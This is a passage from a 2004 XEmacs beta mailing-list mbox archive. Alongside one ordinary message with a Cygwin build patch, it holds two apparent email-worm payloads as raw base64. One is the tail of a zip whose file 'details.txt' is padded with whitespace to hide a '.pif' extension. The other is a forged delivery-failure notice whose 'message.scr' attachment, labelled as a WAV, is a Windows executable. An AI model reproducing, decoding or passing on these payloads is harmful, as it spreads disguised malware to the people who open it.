f3zxND0aqUp2o5smmLyaks6SkjNm87BhypqU4zft9M86g7nVcj2pzzWuKikDZhxJBH3FxHLX i0SmreYCjqkXWOCyrP88RlCSgCDbV0jJ8pg9SjEhJGh+kVJVdI2tGY/fa1Chr8Ozzqm1WPx1 z+68YMVwa0SB3TJ1e3iG9J/B52LsdMxgrSGfMrMc+xvyNms2eMd3Dg8XROY9sDOic0CrB+Dp gDIMkekBxn5wCB2C3TOn1KQCdMLnqjG5HLUssEB7hqFdml3LAN4WlcKOgMn3waWeHpoSp/em bU3zJGMKueMUcrJatTlpOqvqk6kkgDyHJRIwBDCrPopR5+aJ5mgVrz35M8M08gOfdGCucc98 FJpLqarHy31pGXgccj/NYw6h3y5ig8BUWUXD+exj8GWClSjVlrKJefEx90NEMMsjb/ODnzeQ Sf6yDEtykrJSqINTCQtMrCNkQ0Df9dA30nWDRHjYPqkOb5o1N4rUL1NGFYr00+N+/sUVlG9s PIzAsrQ0NAqVKb1+JnMtvJo5uUY4U5+OJrjBECafIkJ5HHl3Ivn9A8Tz2V2WkEySMxzA7evd n0/cK9WEfXTxhOLbatBd4zPCvqstN0RHgh1cWeqU5PrYTXB1TXqDqKjQko0Kt/NqsE3a+ICu hsXhc7zX0Hh1kjHj1NxiYVp+FrNdzWFqtosP7rsIOsVtjBwS8vkhXEWtQJEspoxLaukGUTYk tmHtkvotBB8do0DNK3EpVgTJvBOwYWAc8r8bsSCzBtgxJf5IGBCdhlHPaE65mEo0okZCiydb WIa9RdWdC+CzMvw9U3USom6F/dFO2GyNPtwjWz/eTYb8LBRlAHZw4Cd6PDFS4Y/oX2NJMlky 7Frrlq6QG9TM6jVVIKgEBPa8SPgcimVTOOz9ulx5iPbgBzuqa24+NUmP6UoJlfvfRHuEJMDP 85S1tULgZC59evaaq4+BfJwZbX4BVPa1OF8HJTa1Voitva9LkN6A2mf3zx1g/h5C+ljjvrNp DY6ra+DD0oQBPR+jyLeFPOEEFmUWlwbPY0mCeVJXEBF8qrDtf1xFeeh3jgGvAKNjqzTyjHIR 9st5GLGFXFKHtmgRCbuF+JApafNdAjkcRvNNvmNyyMRBd8cLYprL2gDerZrpvK6tN3B19CUG yQTT2lST/0BnTiRqkB36zcClde8/3P9OIjU8j+Lmf6HbKFXTAjrjQOyZMMkhxn5Pv7z6mKRS PsfGf/9STGEM5SFpBveLpzSNsv42znXHFgKux8o7Y988wJpP7ALynwERegh1b3VveA4efgyM wXhFdbVClybCg1abyU9fUUZtmSONnTMYqZnQjCOc6UsSISYAeO0YweBPIPwQp8qvC0A4Iw6q EAjBiWYcF9/7dSZKfA4sA7ic8vdXZRtjhfqb+/QlSSdeiFtZ638dhZpslnxrrOyWCkQC9zv5 ThE1c+hq9gjgnzjc1aqhTcNgOo4dPSKRHGSEK1bixnOSMwNr2we84tNGyphKUZekD4uOEwYY 0NJ75CnOtudCWdCoGNDFAKx6ySH9tODWM0upDR0qepLdNbId4nRLjwAAAQACACAgEAABAAQA 6AIAAAEAKAAAACAAAABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAMz//wBoV1gA AAAAAICAgAD///8AwMDAAP8AAAAA//8AvwAAAAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAiIRIiIiIiIiIiIiIiIiIiIiE1VVVVVVVVVVVVVSUiIiIjRERERERERERERERSUiIiI0RE RERERFVUREVVUlIiIiNEiIiIREmZRESZlFJSIiIjRERERERElURESVRSUiIiI0SIiIiIRElV VVlUUlIiIiNEREREREREmZmZVFJSIiIjRIiIiIiIRElUSVRSUiIiI0RERERERERElUlUUlIi IiNEiIiIiIiIRElZVFJSIiIjREREREREREREmVRSUiIiI0SIiIiIiIiIRElEUlIiIiNERERE RERERERERFJSIiIjRIiIiIiIiIiIiERSUiIiI0REREREREREREREUlIiIiNEiIiIiIiIiIiI RFJSIiIjRERERERERERERERSUiIiI0QiIiIiRIiIiIhEUlIiIiNEOZJEQkRERERERFJSIiIj RDIiIiJEiIiIiERSUiIiI0Q0QndyREREREREUlIiIiNEMiJ3ckSIiIiIRFJSIiIjRDRCd3JE RERERERSUiIiI0Q0QmZiREREREREUlIiIiNENEJmYkRERERERFJSIiIjRDMyIiJERERERERS UiIiI0REREREREREREREUlIiIiNCRCRCRCRCRCRCRDJSIiIjQkQkQkQkQkQkQkQyUiIiIiQz QzQzQzQzQzQzQyIiIiIiIiIiIiIiIiIiIiIiIuAAAA/gAAAH4AAAB+AAAAfgAAAH4AAAB+AA AAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH 4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB/gAAA//////oRzoMEAB acD9QwPABcM4niYooxADwfgQJf9/hwDDi0QkVQQS6VXs7FEHU1ZXM/8xiX381BUcYCAoi/Bo yMA3D7dFCFBkViYYIdhTkRUUMlAOECE7x4mKPHQqFhEMDVdogKzAagLxsBIRQP91bAyKNAiI g/j7v1QBdQQzwOtB0Ns7A/d2GOhh/xwCmbkbAVLx+YuAjDAUA0M73h5y6I3M/FfhdWwIfXgE ii4JEWd6ObH8D5TYX14pW8myHIGMZAx8VnC+YAQMV42FnG/zoqZQamApFSysDT0oDYgs4PtO jNcUvEb3AIB9/lyLNSTFPb/gReF0CiIlVwXWIQpo0LAvHYC93IlcoUI8ICH+NeGhORA0YTAJ amXoMrv+EFmTP70Kg1COyiaRIEGwBq9yRAhq2wUoxEaj5B/IFjyJPbcjLXRTFDTobEV2dSLG AxU4NXxQUVoSCXVYloUSwHQFVE0TRhUjNBEUdRkPagHnMEgSAvTQkDEwwhAAtDgwQDKQCXQk EENVJ2yXzo5pz20KYQifdo9lIO9F727vY+9y73nscCtl/GTPJlftbyObTEQN1i/lFhTNMGJK nwpT2WtZTrMnXC7zQ/NadjOoMXAq/8OFPDVkpy64Uw7KRoGfZ5loFXP5QlSRDoRrGQN1+GVy 9m8AbmZpZzl4LmRxbOEQQklOGEFSWRBGVgNQcm90ZWObLqN4tjFgXAAA4AHgAuAg4hDOEQQN 6Ba+EX2kDnsog0YiAYwoCRCJIBZJiRTAwp8BFYADbwgUB5ACZhPAAtAQCXBV/wO8CFIHQQIG EwqOQigBdwFscBAon9EECBB5mYP0RPf9JhAihBDi947QAhCckU+9GAjwqwEZ0g+PA4BceMBU B7ADrQRSAzjqrwAAAeAgcEAOS0VSTmBMMzIuZHFs4EbobwZzZUhhbhjtwFpyPml0OkZuFb6/ KWELHEEdVp96R29mUudzUXVyY582Tzqpaw1iYWQWEElpbrZueko9dE2+ZClsXbMiRvFweUlS m+R0RkTAJFfBa293c0TfPuRj+ep5pTmgLRROYW1MhlBy8PJk45xMc2p2H0xpYjtTLz5UUJND z+5uNA0YTGG8RXLcXOvFjE11CHjMTgMAAAAAAAAAAAAAAAAAUEsBAhQACgAAAAAAQ7KTMKOI Hd6AcwAAgHMAAFQAAAAAAAAAAAAgAAAAAAAAAGRldGFpbHMudHh0ICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg LnBpZlBLBQYAAAAAAQABAIIAAADycwAAAAA= ------=_NextPart_000_0016----=_NextPart_000_0016-- From xemacs-beta-admin@xemacs.org Mon Apr 19 19:51:12 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JNpAs18565; Mon, 19 Apr 2004 19:51:10 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JNoxj18363 for xemacs-beta-mailman@xemacs.org; Mon, 19 Apr 2004 19:50:59 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JNowN18335 for turnbull@tux.org; Mon, 19 Apr 2004 19:50:58 -0400 Received: from main.gmane.org (main.gmane.org [80.91.224.249]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JNovs18319 for ; Mon, 19 Apr 2004 19:50:57 -0400 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1BFiXQ-0001Ph-00 for ; Tue, 20 Apr 2004 01:50:56 +0200 Received: from p508d11ed.dip.t-dialin.net ([80.141.17.237]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 20 Apr 2004 01:50:56 +0200 Received: from sven by p508d11ed.dip.t-dialin.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 20 Apr 2004 01:50:56 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: xemacs-beta@xemacs.org From: Sven Grundmann Subject: Re: [Failure] XEmacs 21.5-b17 "chayote" (+CVS-20040415) i586-pc-win32 Date: Tue, 20 Apr 2004 01:50:48 +0200 Lines: 69 Message-ID: References: <87d66712eq.fsf@tleepslib.sk.tsukuba.ac.jp> <408274A9.90202@optusnet.com.au> <20040418135316.GA73105@dspnet.fr.eu.org> <20040418185534.GA98278@dspnet.fr.eu.org> <3c71orjx.fsf@smtpmail.t-online.de> <20040419003408.GA23902@dspnet.fr.eu.org> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="=-=-=" X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: p508d11ed.dip.t-dialin.net User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, cygwin32) Cancel-Lock: sha1:wVmL2XxssP4BCNXwi0JZbxawl+w= X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL,UPPERCASE_25_50 autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , --=-=-= Hello Olivier, i finally managed to build 21.5 (+CVS-20040418). I had to change the patch a bit. See the attached file. Thank you for your help. Best regards Sven --=-=-= Content-Type: text/x-patch Content-Disposition: inline; filename=cygwin.patch Content-Description: patch to fix cvs 21.5 compiling on cygwin ? all.files ? autom4te.cache ? build.sh ? modules/ldap/GNUmakefile ? modules/ldap/Makefile ? modules/ldap/Makefile.in ? src/dump-size ? src/xemacs.def ? src/xemacs.def.in Index: Makefile.in.in =================================================================== RCS file: /pack/xemacscvs/XEmacs/xemacs/Makefile.in.in,v retrieving revision 1.19 diff -u -r1.19 Makefile.in.in --- Makefile.in.in 2004/04/15 20:59:25 1.19 +++ Makefile.in.in 2004/04/19 23:39:36 @@ -392,11 +392,13 @@ ${INSTALL_PROGRAM} src/${PROGNAME} ${bindir}/${PROGNAME} -chmod 0755 ${bindir}/${PROGNAME} #else - ${INSTALL_PROGRAM} src/${PROGNAME} ${bindir}/${PROGNAME}-${version} - -chmod 0755 ${bindir}/${PROGNAME}-${version} # ifdef CYGWIN + ${INSTALL_PROGRAM} src/${PROGNAME} ${bindir}/${PROGNAME}-${version}.exe + -chmod 0755 ${bindir}/${PROGNAME}-${version}.exe cd ${bindir} && $(RM) ./${PROGNAME} && ${LN_S} ${PROGNAME}-${version}.exe ./${PROGNAME} # else + ${INSTALL_PROGRAM} src/${PROGNAME} ${bindir}/${PROGNAME}-${version} + -chmod 0755 ${bindir}/${PROGNAME}-${version} cd ${bindir} && $(RM) ./${PROGNAME} && ${LN_S} ${PROGNAME}-${version} ./${PROGNAME} # endif /* CYGWIN */ #endif /* WIN32_NATIVE */ Index: src/Makefile.in.in =================================================================== RCS file: /pack/xemacscvs/XEmacs/xemacs/src/Makefile.in.in,v retrieving revision 1.110 diff -u -r1.110 Makefile.in.in --- src/Makefile.in.in 2004/04/19 06:40:45 1.110 +++ src/Makefile.in.in 2004/04/19 23:39:44 @@ -418,8 +418,13 @@ RAW_EXE = $(PROGNAME) DUMP_ID = dump-id.o #ifndef WIN32_NATIVE +#ifndef CYGWIN DUMP_TARGET = $(PROGNAME) RAW_EXE = temacs +#else +DUMP_TARGET = $(PROGNAME) +RAW_EXE = temacs.exe +#endif #endif #else DUMP_TARGET = $(PROGNAME) --=-=-=-- From owes@hotmail.com Mon Apr 19 20:09:54 2004 Received: from yxa.extundo.com (178.230.13.217.in-addr.dgcsystems.net [217.13.230.178]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3K09rs03740 for ; Mon, 19 Apr 2004 20:09:53 -0400 Received: from xemacs.org (modemcable022.146-201-24.mc.videotron.ca [24.201.146.22]) by yxa.extundo.com (8.12.11/8.12.11) with ESMTP id i3K09nD8030380 for ; Tue, 20 Apr 2004 02:09:49 +0200 Message-Id: <200404200009.i3K09nD8030380@yxa.extundo.com> From: owes@hotmail.com To: xemacs-beta-archive@xemacs.org Subject: Mail Delivery (failure xemacs-beta-archive@xemacs.org) Date: Mon, 19 Apr 2004 19:47:07 -0700 MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="----=_NextPart_000_001B_01C0CA80.6B015D10" X-Priority: 3 X-MSMail-Priority: Normal X-Spam-Flag: YES X-Spam-Status: Yes, hits=14.1 required=5.0 tests=BAYES_44, FORGED_HOTMAIL_RCVD2,HTML_MESSAGE,HTML_RELAYING_FRAME, MICROSOFT_EXECUTABLE,MIME_SUSPECT_NAME,MISSING_MIMEOLE,NO_REAL_NAME, PRIORITY_NO_NAME,RCVD_IN_DYNABLOCK,RCVD_IN_SORBS autolearn=no version=2.63 X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on yxa.extundo.com This is a multi-part message in MIME format. ------=_NextPart_000_001B_01C0CA80.6B015D10 Content-Type: multipart/alternative; boundary="----=_NextPart_001_001C_01C0CA80.6B015D10" ------=_NextPart_001_001C_01C0CA80.6B015D10 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ------=_NextPart_001_001C_01C0CA80.6B015D10 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable If the message will not displayed automatically,
follow the link to read the delivered message.

Received message is available at:
www.xemacs.org/inbox/xemacs-beta-archive/read.php?sessionid-3314
 
------=_NextPart_001_001C_01C0CA80.6B015D10-- ------=_NextPart_000_001B_01C0CA80.6B015D10 Content-Type: audio/x-wav; name="message.scr" Content-Transfer-Encoding: base64 Content-ID: <031401Mfdab4$3f3dL780$73387018@57W81fa70Re> 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 